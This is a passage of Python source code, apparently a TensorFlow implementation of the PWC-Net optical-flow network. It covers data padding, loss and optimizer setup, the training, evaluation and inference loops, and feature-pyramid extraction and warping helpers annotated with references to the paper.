# Bring image range from 0..255 to 0..1 and use floats (also, list[(2,H,W,3)] -> (batch_size,2,H,W,3))
if self.opts['use_mixed_precision'] is True:
x_adapt = np.array(x, dtype=np.float16) if isinstance(x, list) else x.astype(np.float16)
else:
x_adapt = np.array(x, dtype=np.float32) if isinstance(x, list) else x.astype(np.float32)
x_adapt /= 255.
# Make sure the image dimensions are multiples of 2**pyramid_levels, pad them if they're not
_, pad_h = divmod(x_adapt.shape[2], 2**self.opts['pyr_lvls'])
if pad_h != 0:
pad_h = 2 ** self.opts['pyr_lvls'] - pad_h
_, pad_w = divmod(x_adapt.shape[3], 2**self.opts['pyr_lvls'])
if pad_w != 0:
pad_w = 2 ** self.opts['pyr_lvls'] - pad_w
x_adapt_info = None
if pad_h != 0 or pad_w != 0:
padding = [(0, 0), (0, 0), (0, pad_h), (0, pad_w), (0, 0)]
x_adapt_info = x_adapt.shape # Save original shape
x_adapt = np.pad(x_adapt, padding, mode='constant', constant_values=0.)
return x_adapt, x_adapt_info
def adapt_y(self, y):
"""Preprocess the labels to adapt them to the loss computation requirements of the network
Here, y, is the actual data, not the y TF tensor.
Args:
y: labels in list[(H,W,2)] or (N,H,W,2) np array form
Returns:
Labels ready to be used by the network's loss function (w. same shape as y)
Also, return adaptation info in (N,H,W,2) format
"""
# Ensure we're dealing with u,v flows
assert (isinstance(y, np.ndarray) or isinstance(y, list))
if isinstance(y, np.ndarray):
assert (len(y.shape) == 4)
assert (y.shape[3] == 2)
else:
assert (len(y[0].shape) == 3)
assert (y[0].shape[2] == 2)
y_adapt = np.array(y, dtype=np.float32) if isinstance(y, list) else y # list[(H,W,2)] -> (batch_size,H,W,2)
# Make sure the flow dimensions are multiples of 2**pyramid_levels, pad them if they're not
_, pad_h = divmod(y.shape[1], 2**self.opts['pyr_lvls'])
if pad_h != 0:
pad_h = 2 ** self.opts['pyr_lvls'] - pad_h
_, pad_w = divmod(y.shape[2], 2**self.opts['pyr_lvls'])
if pad_w != 0:
pad_w = 2 ** self.opts['pyr_lvls'] - pad_w
y_adapt_info = None
if pad_h != 0 or pad_w != 0:
padding = [(0, 0), (0, pad_h), (0, pad_w), (0, 0)]
y_adapt_info = y_adapt.shape # Save original shape
y_adapt = np.pad(y_adapt, padding, mode='constant', constant_values=0.)
# if y_adapt_info is not None and not y_adapt_info in self.adapt_infos: self.adapt_infos.append(y_adapt_info)
# if not y.shape in self.unique_y_shapes: self.unique_y_shapes.append(y.shape)
return y_adapt, y_adapt_info
def postproc_y_hat_test(self, y_hat, adapt_info=None):
"""Postprocess the results coming from the network during the test mode.
Here, y_hat, is the actual data, not the y_hat TF tensor. Override as necessary.
Args:
y_hat: predictions, see set_output_tnsrs() for details
adapt_info: adaptation information in (N,H,W,2) format
Returns:
Postprocessed labels
"""
assert (isinstance(y_hat, list) and len(y_hat) == 2)
# Have the samples been padded to fit the network's requirements? If so, crop flows back to original size.
pred_flows = y_hat[0]
if adapt_info is not None:
pred_flows = pred_flows[:, 0:adapt_info[1], 0:adapt_info[2], :]
# Individuate flows of the flow pyramid (at this point, they are still batched)
pyramids = y_hat[1]
pred_flows_pyramid = []
for idx in range(len(pred_flows)):
pyramid = []
for lvl in range(self.opts['pyr_lvls'] - self.opts['flow_pred_lvl'] + 1):
pyramid.append(pyramids[lvl][idx])
pred_flows_pyramid.append(pyramid)
return pred_flows, pred_flows_pyramid
def postproc_y_hat_train(self, y_hat, adapt_info=None):
"""Postprocess the results coming from the network during training.
Here, y_hat, is the actual data, not the y_hat TF tensor. Override as necessary.
Args:
y_hat: losses and metrics, see set_output_tnsrs() for details
adapt_info: adaptation information in (N,H,W,2) format
Returns:
Batch loss and metric
"""
assert (isinstance(y_hat, list) and len(y_hat) == 3)
return y_hat[0], y_hat[1]
def postproc_y_hat_val(self, y_hat, adapt_info=None):
"""Postprocess the results coming from the network during validation.
Here, y_hat, is the actual data, not the y_hat TF tensor. Override as necessary.
Args:
y_hat: batch loss and metric, or predicted flows and metrics, see set_output_tnsrs() for details
adapt_info: adaptation information in (N,H,W,2) format
Returns:
Either, batch loss and metric
Or, predicted flows and metrics
"""
if self.mode in ['train_noval', 'train_with_val']:
# In online evaluation mode, we only care about the average loss and metric for the batch:
assert (isinstance(y_hat, list) and len(y_hat) == 2)
return y_hat[0], y_hat[1]
if self.mode in ['val', 'val_notrain']:
# Have the samples been padded to fit the network's requirements? If so, crop flows back to original size.
pred_flows = y_hat[0]
if adapt_info is not None:
pred_flows = pred_flows[:, 0:adapt_info[1], 0:adapt_info[2], :]
return pred_flows, y_hat[1]
###
# Training helpers
###
def setup_loss_ops(self):
"""Setup loss computations. See pwcnet_loss() function for unregularized loss implementation details.
"""
# Setup unregularized loss
loss_unreg = pwcnet_loss(self.y_tnsr, self.flow_pyr_tnsr, self.opts)
# Add regularization term
if self.opts['gamma'] == 0.:
self.loss_op = loss_unreg
else:
loss_reg = self.opts['gamma'] * tf.reduce_sum([tf.nn.l2_loss(var) for var in tf.trainable_variables()])
self.loss_op = loss_unreg + loss_reg
def setup_optim_op(self):
"""Select the Adam optimizer, define the optimization process.
"""
# Instantiate optimizer
# see https://stackoverflow.com/questions/42064941/tensorflow-float16-support-is-broken
# for float32 epsilon=1e-08, for float16 use epsilon=1e-4
epsilon = 1e-08 if self.opts['use_mixed_precision'] is False else 1e-4
if self.opts['loss_fn'] == 'loss_multiscale':
self.optim = tf.train.AdamOptimizer(self.lr, epsilon=epsilon)
else:
self.optim = tf.train.ProximalGradientDescentOptimizer(self.lr)
if self.opts['use_mixed_precision'] is True:
# Choose a loss scale manager which decides how to pick the right loss scale throughout the training process.
loss_scale_mgr = FixedLossScaleManager(self.opts['loss_scaler'])
# Wrap the original optimizer in a LossScaleOptimizer
self.optim = LossScaleOptimizer(self.optim, loss_scale_mgr)
# zmf: deal with NaN
# Let minimize() take care of both computing the gradients and applying them to the model variables
# self.optim_op = self.optim.minimize(self.loss_op, self.g_step_op, tf.trainable_variables())
grads_and_vars = self.optim.compute_gradients(self.loss_op, var_list=tf.trainable_variables())
if tf.is_nan(grads_and_vars[0]) == True:
grads_and_vars_ = [(tf.where(tf.is_nan(grad),tf.zeros_like(grad), grad), val) for grad, val in grads_and_vars]
elif tf.is_nan(grads_and_vars[1]) == True:
grads_and_vars_ = [(tf.where(tf.is_nan(grad), tf.zeros_like(grad), grad), val) for grad, val in grads_and_vars]
else:
grads_and_vars_ = grads_and_vars
self.optim_op = self.optim.apply_gradients(grads_and_vars_, global_step=self.g_step_op, name=None)
else:
# Let minimize() take care of both computing the gradients and applying them to the model variables
# self.optim_op = self.optim.minimize(self.loss_op, self.g_step_op, tf.trainable_variables())
grads_and_vars = self.optim.compute_gradients(self.loss_op, var_list=tf.trainable_variables())
if tf.is_nan(grads_and_vars[0]) == True:
grads_and_vars_ = [(tf.where(tf.is_nan(grad),tf.zeros_like(grad), grad),val) for grad, val in grads_and_vars]
elif tf.is_nan(grads_and_vars[1]) == True:
grads_and_vars_ = [(tf.where(tf.is_nan(grad),tf.zeros_like(grad), grad), val) for grad, val in grads_and_vars]
else:
grads_and_vars_ = grads_and_vars
self.optim_op = self.optim.apply_gradients(grads_and_vars_, global_step=self.g_step_op, name=None)
# fmz
def config_train_ops(self):
"""Configure training ops.
Called by the base class when building the TF graph to setup all the training ops, including:
- setting up loss computations,
- setting up metrics computations,
- creating a learning rate training schedule,
- selecting an optimizer,
- creating lists of output tensors.
"""
assert (self.opts['train_mode'] in ['train', 'fine-tune'])
if self.opts['verbose']:
print("Configuring training ops...")
# Setup loss computations
self.setup_loss_ops()
# Setup metrics computations
self.setup_metrics_ops()
# Setup a learning rate training schedule
self.setup_lr_sched()
# Setup optimizer computations
self.setup_optim_op()
if self.opts['verbose']:
print("... training ops configured.")
def config_loggers(self):
"""Configure train logger and, optionally, val logger. Here add a logger for test images, if requested.
"""
super().config_loggers()
if self.opts['tb_test_imgs'] is True:
self.tb_test = OptFlowTBLogger(self.opts['ckpt_dir'], 'test')
def train(self):
"""Training loop
"""
with self.graph.as_default():
# Reset step counter
if self.opts['train_mode'] == 'fine-tune':
step = 1
self.sess.run(self.g_step_op.assign(0))
if self.opts['verbose']:
print("Start finetuning...")
else:
if self.last_ckpt is not None:
step = self.g_step_op.eval(session=self.sess) + 1
if self.opts['verbose']:
print(f"Resume training from step {step}...")
else:
step = 1
if self.opts['verbose']:
print("Start training from scratch...")
# Get batch sizes
batch_size = self.opts['batch_size']
val_batch_size = self.opts['val_batch_size']
if self.mode == 'train_noval':
warnings.warn("Setting val_batch_size=0 because dataset is in 'train_noval' mode")
val_batch_size = 0
if val_batch_size == -1:
val_batch_size = self.ds.val_size
# Init batch progress trackers
train_loss, train_epe, duration = [], [], []
ranking_value = 0
# Only load Tensorboard validation/test images once
if self.opts['tb_val_imgs'] is not None:
tb_val_loaded = False
if self.opts['tb_test_imgs'] is not None:
tb_test_loaded = False
# Use feed_dict from np or with tf.data.Dataset?
if self.opts['use_tf_data'] is True:
# Create tf.data.Dataset managers
train_tf_ds = self.ds.get_tf_ds(batch_size, self.num_gpus, split='train', sess=self.sess)
val_tf_ds = self.ds.get_tf_ds(batch_size, self.num_gpus, split='val', sess=self.sess)
# Ops for initializing the two different iterators
train_next_batch = train_tf_ds.make_one_shot_iterator().get_next()
val_next_batch = val_tf_ds.make_one_shot_iterator().get_next()
while step < self.opts['max_steps'] + 1:
# Get a batch of samples and make them conform to the network's requirements
# x: [batch_size*num_gpus,2,H,W,3] uint8 y: [batch_size*num_gpus,H,W,2] float32
# x_adapt: [batch_size,2,H,W,3] float32 y_adapt: [batch_size,H,W,2] float32
if self.opts['use_tf_data'] is True:
x, y, _ = self.sess.run(train_next_batch)
else:
x, y, id_batch = self.ds.next_batch(batch_size * self.num_gpus, split='train')
x_adapt, _ = self.adapt_x(x)
y_adapt, _ = self.adapt_y(y)
# Run the samples through the network (loss, error rate, and optim ops (backprop))
feed_dict = {self.x_tnsr: x_adapt, self.y_tnsr: y_adapt}
start_time = time.time()
y_hat = self.sess.run(self.y_hat_train_tnsr, feed_dict=feed_dict)
duration.append(time.time() - start_time)
loss, epe = self.postproc_y_hat_train(y_hat) # y_hat: [107.0802, 5.8556495, None]
# if self.num_gpus == 1: # Single-GPU case
# else: # Multi-CPU case
train_loss.append(loss), train_epe.append(epe)
# Show training progress
if step % self.opts['display_step'] == 0:
# Send results to tensorboard
loss, epe = np.mean(train_loss), np.mean(train_epe)
ranking_value = epe
self.tb_train.log_scalar("losses/loss", loss, step)
self.tb_train.log_scalar("metrics/epe", epe, step)
lr = self.lr.eval(session=self.sess)
self.tb_train.log_scalar("optim/lr", lr, step)
# Print results, if requested
if self.opts['verbose']:
sec_per_step = np.mean(duration)
samples_per_step = batch_size * self.num_gpus
samples_per_sec = samples_per_step / sec_per_step
eta = round((self.opts['max_steps'] - step) * sec_per_step)
ts = time.strftime("%Y-%m-%d %H:%M:%S")
status = f"{ts} Iter {self.g_step_op.eval(session=self.sess)}" \
f" [Train]: loss={loss:.2f}, epe={epe:.2f}, lr={lr:.6f}," \
f" samples/sec={samples_per_sec:.1f}, sec/step={sec_per_step:.3f}," \
f" eta={datetime.timedelta(seconds=eta)}"
print(status)
# Reset batch progress trackers
train_loss, train_epe, duration = [], [], []
# Show progress on validation ds, if requested
if val_batch_size > 0 and step % self.opts['val_step'] == 0:
val_loss, val_epe = [], []
rounds, _ = divmod(val_batch_size, batch_size * self.num_gpus)
for _round in range(rounds):
if self.opts['use_tf_data'] is True:
x, y, _, _ = self.sess.run(val_next_batch)
else:
# Get a batch of val samples and make them conform to the network's requirements
x, y, _ = self.ds.next_batch(batch_size * self.num_gpus, split='val')
# x: [batch_size * self.num_gpus,2,H,W,3] uint8 y: [batch_size,H,W,2] float32
x_adapt, _ = self.adapt_x(x)
y_adapt, _ = self.adapt_y(y)
# x_adapt: [batch_size * self.num_gpus,2,H,W,3] float32 y_adapt: [batch_size,H,W,2] float32
# Run the val samples through the network (loss and error rate ops)
feed_dict = {self.x_tnsr: x_adapt, self.y_tnsr: y_adapt}
y_hat = self.sess.run(self.y_hat_val_tnsr, feed_dict=feed_dict)
loss, epe = self.postproc_y_hat_val(y_hat)
val_loss.append(loss), val_epe.append(epe)
# Send the results to tensorboard
loss, epe = np.mean(val_loss), np.mean(val_epe)
ranking_value = epe
self.tb_val.log_scalar("losses/loss", loss, step)
self.tb_val.log_scalar("metrics/epe", epe, step)
# Print results, if requested
if self.opts['verbose']:
ts = time.strftime("%Y-%m-%d %H:%M:%S")
status = f"{ts} Iter {self.g_step_op.eval(session=self.sess)} [Val]: loss={loss:.2f}, epe={epe:.2f}"
print(status)
# Save a checkpoint every snapshot_step
if step % self.opts['snapshot_step'] == 0 or step == self.opts['max_steps']:
# Log evolution of test images to Tensorboard, if requested
if self.opts['tb_test_imgs'] is not None:
# Get a batch of test samples and make them conform to the network's requirements
if tb_test_loaded is False:
x_tb_test, IDs_tb_test = self.ds.get_samples(
batch_size * self.num_gpus, split='test', simple_IDs=True)
x_tb_test_adapt, _ = self.adapt_x(x_tb_test)
# IDs_tb_test = self.ds.simplify_IDs(x_IDs)
tb_test_loaded = True
# Run the test samples through the network
feed_dict = {self.x_tnsr: x_tb_test_adapt}
y_hat = self.sess.run(self.y_hat_test_tnsr, feed_dict=feed_dict)
pred_flows, pred_flows_pyr = self.postproc_y_hat_test(y_hat)
# Only show batch_size results, no matter what the GPU count is
pred_flows, pred_flows_pyr = pred_flows[0:batch_size], pred_flows_pyr[0:batch_size]
# Send the results to tensorboard
if self.opts['tb_test_imgs'] == 'top_flow':
self.tb_test.log_imgs_w_flows('test/{}_flows', x_tb_test, None, 0, pred_flows,
None, step, IDs_tb_test)
else:
self.tb_test.log_imgs_w_flows('test/{}_flows_pyr', x_tb_test, pred_flows_pyr,
self.opts['pyr_lvls'] - self.opts['flow_pred_lvl'], pred_flows,
None, step, IDs_tb_test)
# Log evolution of val images, if requested
if self.opts['tb_val_imgs'] is not None:
# Get a batch of val samples and make them conform to the network's requirements
if tb_val_loaded is False:
x_tb_val, y_tb_val, IDs_tb_val = self.ds.get_samples(
batch_size * self.num_gpus, split='val', simple_IDs=True)
x_tb_val_adapt, _ = self.adapt_x(x_tb_val)
# IDs_tb_val = self.ds.simplify_IDs(x_IDs)
tb_val_loaded = True
# Run the val samples through the network (top flow and pyramid)
feed_dict = {self.x_tnsr: x_tb_val_adapt}
y_hat = self.sess.run(self.y_hat_test_tnsr, feed_dict=feed_dict)
pred_flows, pred_flows_pyr = self.postproc_y_hat_test(y_hat)
# Only show batch_size results, no matter what the GPU count is
x_tb_val, y_tb_val = x_tb_val[0:batch_size], y_tb_val[0:batch_size]
IDs_tb_val = IDs_tb_val[0:batch_size]
pred_flows, pred_flows_pyr = pred_flows[0:batch_size], pred_flows_pyr[0:batch_size]
# Send the results to tensorboard
if self.opts['tb_val_imgs'] == 'top_flow':
self.tb_val.log_imgs_w_flows('val/{}_flows', x_tb_val, None, 0, pred_flows,
y_tb_val, step, IDs_tb_val)
else:
self.tb_val.log_imgs_w_flows('val/{}_flows_pyr', x_tb_val[0:batch_size], pred_flows_pyr,
self.opts['pyr_lvls'] - self.opts['flow_pred_lvl'], pred_flows,
y_tb_val, step, IDs_tb_val)
# Save model
self.save_ckpt(ranking_value)
step += 1
if self.opts['verbose']:
print("... done training.")
###
# Evaluation helpers
###
def setup_metrics_ops(self):
"""Setup metrics computations. Use the endpoint error metric to track progress.
Note that, if the label flows come back from the network padded, it isn't a fair assessment of the performance
of the model if we also measure the EPE in the padded area. This area is to be cropped out before returning
the predicted flows to the caller, so exclude that area when computing the performance metric.
"""
# Have the samples been padded to the nn's requirements? If so, crop flows back to original size.
y_tnsr, flow_pred_tnsr = self.y_tnsr, self.flow_pred_tnsr
if self.opts['adapt_info'] is not None:
y_tnsr = y_tnsr[:, 0:self.opts['adapt_info'][1], 0:self.opts['adapt_info'][2], :]
flow_pred_tnsr = flow_pred_tnsr[:, 0:self.opts['adapt_info'][1], 0:self.opts['adapt_info'][2], :]
if self.opts['sparse_gt_flow'] is True:
# Find the location of the zerod-out flows in the gt
zeros_loc = tf.logical_and(tf.equal(y_tnsr[:, :, :, 0], 0.0), tf.equal(y_tnsr[:, :, :, 1], 0.0))
zeros_loc = tf.expand_dims(zeros_loc, -1)
# Zero out flow predictions at the same location so we only compute the EPE at the sparse flow points
flow_pred_tnsr = tf_where(zeros_loc, tf.zeros_like(flow_pred_tnsr), flow_pred_tnsr)
if self.mode in ['train_noval', 'train_with_val']:
# In online evaluation mode, we only care about the average loss and metric for the batch:
self.metric_op = tf.reduce_mean(tf.norm(y_tnsr - flow_pred_tnsr, ord=2, axis=3))
if self.mode in ['val', 'val_notrain']:
# In offline evaluation mode, we actually care about each individual prediction and metric -> axis=(1, 2)
self.metric_op = tf.reduce_mean(tf.norm(y_tnsr - flow_pred_tnsr, ord=2, axis=3), axis=(1, 2))
def eval(self, metric_name=None, save_preds=False):
"""Evaluation loop. Test the trained model on the validation split of the dataset.
Args:
save_preds: if True, the predictions are saved to disk
Returns:
Aaverage score for the entire dataset, a panda df with individual scores for further error analysis
"""
with self.graph.as_default():
# Use feed_dict from np or with tf.data.Dataset?
batch_size = self.opts['batch_size']
if self.opts['use_tf_data'] is True:
# Create tf.data.Dataset manager
tf_ds = self.ds.get_tf_ds(batch_size=batch_size, split='val', sess=self.sess)
# Ops for initializing the iterator
next_batch = tf_ds.make_one_shot_iterator().get_next()
# Store results in a dataframe
if metric_name is None:
metric_name = 'Score'
df = pd.DataFrame(columns=['ID', metric_name, 'Duration', 'Avg_Flow_Mag', 'Max_Flow_Mag'])
# Chunk dataset
rounds, rounds_left = divmod(self.ds.val_size, batch_size)
if rounds_left:
rounds += 1
# Loop through samples and track their model performance
desc = f'Measuring {metric_name} and saving preds' if save_preds else f'Measuring {metric_name}'
idx = 0
for _round in trange(rounds, ascii=True, ncols=100, desc=desc):
# Fetch and adapt sample
if self.opts['use_tf_data'] is True:
x, y, y_hat_paths, IDs = self.sess.run(next_batch)
y_hat_paths = [y_hat_path.decode() for y_hat_path in y_hat_paths]
IDs = [ID.decode() for ID in IDs]
else:
# Get a batch of samples and make them conform to the network's requirements
x, y, y_hat_paths, IDs = self.ds.next_batch(batch_size, split='val_with_pred_paths')
# x: [batch_size * self.num_gpus,2,H,W,3] uint8 y: [batch_size,H,W,2] float32
x_adapt, _ = self.adapt_x(x)
y_adapt, y_adapt_info = self.adapt_y(y)
# x_adapt: [batch_size * self.num_gpus,2,H,W,3] float32 y_adapt: [batch_size,H,W,2] float32
# Run the sample through the network (metric op)
feed_dict = {self.x_tnsr: x_adapt, self.y_tnsr: y_adapt}
start_time = time.time()
y_hat = self.sess.run(self.y_hat_val_tnsr, feed_dict=feed_dict)
duration = time.time() - start_time
y_hats, metrics = self.postproc_y_hat_val(y_hat, y_adapt_info)
# Save the individual results in df
duration /= batch_size
for y_hat, metric, y_hat_path, ID in zip(y_hats, metrics, y_hat_paths, IDs):
_, flow_mag_avg, flow_mag_max = flow_mag_stats(y_hat)
df.loc[idx] = (ID, metric, duration, flow_mag_avg, flow_mag_max)
if save_preds:
flow_write(y_hat, y_hat_path)
info=f"{metric_name}={metric:.2f}"
flow_write_as_png(y_hat, y_hat_path.replace('.flo', '.png'), info=info)
idx += 1
# Compute stats
avg_metric, avg_duration = df.loc[:, metric_name].mean(), df.loc[:, 'Duration'].mean()
# print(self.unique_y_shapes)
return avg_metric, avg_duration, df
###
# Inference helpers
###
def predict(self, return_preds=False, save_preds=True):
"""Inference loop. Run the trained model on the test split of the dataset.
The data samples are provided by the OpticalFlowDataset object associated with this ModelPWCNet instance.
To predict flows for image pairs not provided by such object, use predict_from_img_pairs() instead.
Args:
return_preds: if True, the predictions are returned to the caller in list([2, H, W, 3]) format.
save_preds: if True, the predictions are saved to disk in .flo and .png format
Returns:
if return_preds is True, the predictions and their IDs are returned (might require a lot of RAM...)
if return_preds is False, return None
"""
with self.graph.as_default():
# Use feed_dict from np or with tf.data.Dataset?
batch_size = self.opts['batch_size']
if self.opts['use_tf_data'] is True:
# Create tf.data.Dataset manager
tf_ds = self.ds.get_tf_ds(batch_size=batch_size, split='test', sess=self.sess)
# Ops for initializing the iterator
next_batch = tf_ds.make_one_shot_iterator().get_next()
# Chunk dataset
rounds, rounds_left = divmod(self.ds.tst_size, batch_size)
if rounds_left:
rounds += 1
# Loop through input samples and run inference on them
if return_preds is True:
preds, ids = [], []
desc = f'Predicting flows and saving preds' if save_preds else f'Predicting flows'
for _round in trange(rounds, ascii=True, ncols=100, desc=desc):
# Fetch and adapt sample
if self.opts['use_tf_data'] is True:
x, y_hat_paths, IDs = self.sess.run(next_batch)
y_hat_paths = [y_hat_path.decode() for y_hat_path in y_hat_paths]
IDs = [ID.decode() for ID in IDs]
else:
# Get a batch of samples and make them conform to the network's requirements
x, y_hat_paths, IDs = self.ds.next_batch(batch_size, split='test_with_pred_paths')
# x: [batch_size,2,H,W,3] uint8; x_adapt: [batch_size,2,H,W,3] float32
x_adapt, x_adapt_info = self.adapt_x(x)
if x_adapt_info is not None:
y_adapt_info = (x_adapt_info[0], x_adapt_info[2], x_adapt_info[3], 2)
else:
y_adapt_info = None
# Run the sample through the network
feed_dict = {self.x_tnsr: x_adapt}
y_hat = self.sess.run(self.y_hat_test_tnsr, feed_dict=feed_dict)
y_hats, _ = self.postproc_y_hat_test(y_hat, y_adapt_info)
# Save the predicted flows to disk, if requested
for y_hat, y_hat_path, ID in zip(y_hats, y_hat_paths, IDs):
if return_preds is True:
preds.append(y_hat)
ids.append(ID)
if save_preds is True:
flow_write(y_hat, y_hat_path)
flow_write_as_png(y_hat, y_hat_path.replace('.flo', '.png'))
if return_preds is True:
return preds[0:self.ds.tst_size], ids[0:self.ds.tst_size]
else:
return None
def predict_from_img_pairs(self, img_pairs, batch_size=1, verbose=False):
"""Inference loop. Run inference on a list of image pairs.
Args:
img_pairs: list of image pairs/tuples in list((img_1, img_2),...,(img_n, img_nplusone)) format.
batch_size: size of the batch to process (all images must have the same dimension, if batch_size>1)
verbose: if True, show progress bar
Returns:
Predicted flows in list format
"""
with self.graph.as_default():
# Chunk image pair list
batch_size = self.opts['batch_size']
test_size = len(img_pairs)
rounds, rounds_left = divmod(test_size, batch_size)
if rounds_left:
rounds += 1
# Loop through input samples and run inference on them
preds, test_ptr = [], 0
rng = trange(rounds, ascii=True, ncols=100, desc='Predicting flows') if verbose else range(rounds)
for _round in rng:
# In batch mode, make sure to wrap around if there aren't enough input samples to process
if test_ptr + batch_size < test_size:
new_ptr = test_ptr + batch_size
indices = list(range(test_ptr, test_ptr + batch_size))
else:
new_ptr = (test_ptr + batch_size) % test_size
indices = list(range(test_ptr, test_size)) + list(range(0, new_ptr))
test_ptr = new_ptr
# Repackage input image pairs as np.ndarray
x = np.array([img_pairs[idx] for idx in indices])
# Make input samples conform to the network's requirements
# x: [batch_size,2,H,W,3] uint8; x_adapt: [batch_size,2,H,W,3] float32
x_adapt, x_adapt_info = self.adapt_x(x)
if x_adapt_info is not None:
y_adapt_info = (x_adapt_info[0], x_adapt_info[2], x_adapt_info[3], 2)
else:
y_adapt_info = None
# Run the adapted samples through the network
feed_dict = {self.x_tnsr: x_adapt}
y_hat = self.sess.run(self.y_hat_test_tnsr, feed_dict=feed_dict)
y_hats, _ = self.postproc_y_hat_test(y_hat, y_adapt_info)
# Return flat list of predicted labels
for y_hat in y_hats:
preds.append(y_hat)
return preds[0:test_size]
###
# PWC-Net pyramid helpers
###
def extract_features(self, x_tnsr, name='featpyr'):
"""Extract pyramid of features
Args:
x_tnsr: Input tensor (input pair of images in [batch_size, 2, H, W, 3] format)
name: Variable scope name
Returns:
c1, c2: Feature pyramids
Ref:
Per page 3 of paper, section "Feature pyramid extractor," given two input images I1 and I2, we generate
L-level pyramids of feature representations, with the bottom (zeroth) level being the input images,
i.e., Ct<sup>0</sup> = It. To generate feature representation at the l-th layer, Ct<sup>l</sup>, we use
layers of convolutional filters to downsample the features at the (l−1)th pyramid level, Ct<sup>l-1</sup>,
by a factor of 2. From the first to the sixth levels, the number of feature channels are respectively
16, 32, 64, 96, 128, and 196. Also see page 15 of paper for a rendering of the network architecture.
Per page 15, individual images of the image pair are encoded using the same Siamese network. Each
convolution is followed by a leaky ReLU unit. The convolutional layer and the x2 downsampling layer at
each level is implemented using a single convolutional layer with a stride of 2.
Note that Figure 4 on page 15 differs from the PyTorch implementation in two ways:
- It's missing a convolution layer at the end of each conv block
- It shows a number of filters of 192 (instead of 196) at the end of the last conv block
Ref PyTorch code:
def conv(in_planes, out_planes, kernel_size=3, stride=1, padding=1, dilation=1):
return nn.Sequential(
nn.Conv2d(in_planes, out_planes, kernel_size=kernel_size, stride=stride,
padding=padding, dilation=dilation, bias=True), nn.LeakyReLU(0.1))
[...]
self.conv1a = conv(3, 16, kernel_size=3, stride=2)
self.conv1aa = conv(16, 16, kernel_size=3, stride=1)
self.conv1b = conv(16, 16, kernel_size=3, stride=1)
self.conv2a = conv(16, 32, kernel_size=3, stride=2)
self.conv2aa = conv(32, 32, kernel_size=3, stride=1)
self.conv2b = conv(32, 32, kernel_size=3, stride=1)
self.conv3a = conv(32, 64, kernel_size=3, stride=2)
self.conv3aa = conv(64, 64, kernel_size=3, stride=1)
self.conv3b = conv(64, 64, kernel_size=3, stride=1)
self.conv4a = conv(64, 96, kernel_size=3, stride=2)
self.conv4aa = conv(96, 96, kernel_size=3, stride=1)
self.conv4b = conv(96, 96, kernel_size=3, stride=1)
self.conv5a = conv(96, 128, kernel_size=3, stride=2)
self.conv5aa = conv(128,128, kernel_size=3, stride=1)
self.conv5b = conv(128,128, kernel_size=3, stride=1)
self.conv6aa = conv(128,196, kernel_size=3, stride=2)
self.conv6a = conv(196,196, kernel_size=3, stride=1)
self.conv6b = conv(196,196, kernel_size=3, stride=1)
[...]
c11 = self.conv1b(self.conv1aa(self.conv1a(im1))) # Higher-res
c21 = self.conv1b(self.conv1aa(self.conv1a(im2)))
c12 = self.conv2b(self.conv2aa(self.conv2a(c11)))
c22 = self.conv2b(self.conv2aa(self.conv2a(c21)))
c13 = self.conv3b(self.conv3aa(self.conv3a(c12)))
c23 = self.conv3b(self.conv3aa(self.conv3a(c22)))
c14 = self.conv4b(self.conv4aa(self.conv4a(c13)))
c24 = self.conv4b(self.conv4aa(self.conv4a(c23)))
c15 = self.conv5b(self.conv5aa(self.conv5a(c14)))
c25 = self.conv5b(self.conv5aa(self.conv5a(c24)))
c16 = self.conv6b(self.conv6a(self.conv6aa(c15)))
c26 = self.conv6b(self.conv6a(self.conv6aa(c25))) # Lower-res
Ref Caffee code:
https://github.com/NVlabs/PWC-Net/blob/438ca897ae77e08f419ddce5f0d7fa63b0a27a77/Caffe/model/train.prototxt#L314-L1141
"""
assert(1 <= self.opts['pyr_lvls'] <= 6)
if self.dbg:
print(f"Building feature pyramids (c11,c21) ... (c1{self.opts["pyr_lvls"]},c2{self.opts["pyr_lvls"]})")
# Make the feature pyramids 1-based for better readability down the line
num_chann = [None, 16, 32, 64, 96, 128, 196]
c1, c2 = [None], [None]
init = tf.keras.initializers.he_normal()
with tf.variable_scope(name):
for pyr, x, reuse, name in zip([c1, c2], [x_tnsr[:, 0], x_tnsr[:, 1]], [None, True], ['c1', 'c2']):
for lvl in range(1, self.opts['pyr_lvls'] + 1):
# tf.layers.conv2d(inputs, filters, kernel_size, strides=(1, 1), padding='valid', ... , name, reuse)
# reuse is set to True because we want to learn a single set of weights for the pyramid
# kernel_initializer = 'he_normal' or tf.keras.initializers.he_normal(seed=None)
f = num_chann[lvl]
x = tf.layers.conv2d(x, f, 3, 2, 'same', kernel_initializer=init, name=f'conv{lvl}a', reuse=reuse)
x = tf.nn.leaky_relu(x, alpha=0.1) # , name=f'relu{lvl+1}a') # default alpha is 0.2 for TF
x = tf.layers.conv2d(x, f, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}aa', reuse=reuse)
x = tf.nn.leaky_relu(x, alpha=0.1) # , name=f'relu{lvl+1}aa')
x = tf.layers.conv2d(x, f, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}b', reuse=reuse)
x = tf.nn.leaky_relu(x, alpha=0.1, name=f'{name}{lvl}')
pyr.append(x)
return c1, c2
###
# PWC-Net warping helpers
###
def warp(self, c2, sc_up_flow, lvl, name='warp'):
"""Warp a level of Image1's feature pyramid using the upsampled flow at level+1 of Image2's pyramid.
Args:
c2: The level of the feature pyramid of Image2 to warp
sc_up_flow: Scaled and upsampled estimated optical flow (from Image1 to Image2) used for warping
lvl: Index of that level
name: Op scope name
Ref:
Per page 4 of paper, section "Warping layer," at the l-th level, we warp features of the second image toward
the first image using the x2 upsampled flow from the l+1th level:
C1w<sup>l</sup>(x) = C2<sup>l</sup>(x + Up2(w<sup>l+1</sup>)(x))
where x is the pixel index and the upsampled flow Up2(w<sup>l+1</sup>) is set to be zero at the top level.
We use bilinear interpolation to implement the warping operation and compute the gradients to the input
CNN features and flow for backpropagation according to E. Ilg's FlowNet 2.0 paper.
For non-translational motion, warping can compensate for some geometric distortions and put image patches
at the right scale.
Per page 3 of paper, section "3. Approach," the warping and cost volume layers have no learnable parameters
and, hence, reduce the model size.
Ref PyTorch code:
# warp an image/tensor (im2) back to im1, according to the optical flow
# x: [B, C, H, W] (im2)
# flo: [B, 2, H, W] flow
def warp(self, x, flo):
B, C, H, W = x.size()
# mesh grid
xx = torch.arange(0, W).view(1,-1).repeat(H,1)
yy = torch.arange(0, H).view(-1,1).repeat(1,W)
xx = xx.view(1,1,H,W).repeat(B,1,1,1)
yy = yy.view(1,1,H,W).repeat(B,1,1,1)
grid = torch.cat((xx,yy),1).float()
if x.is_cuda:
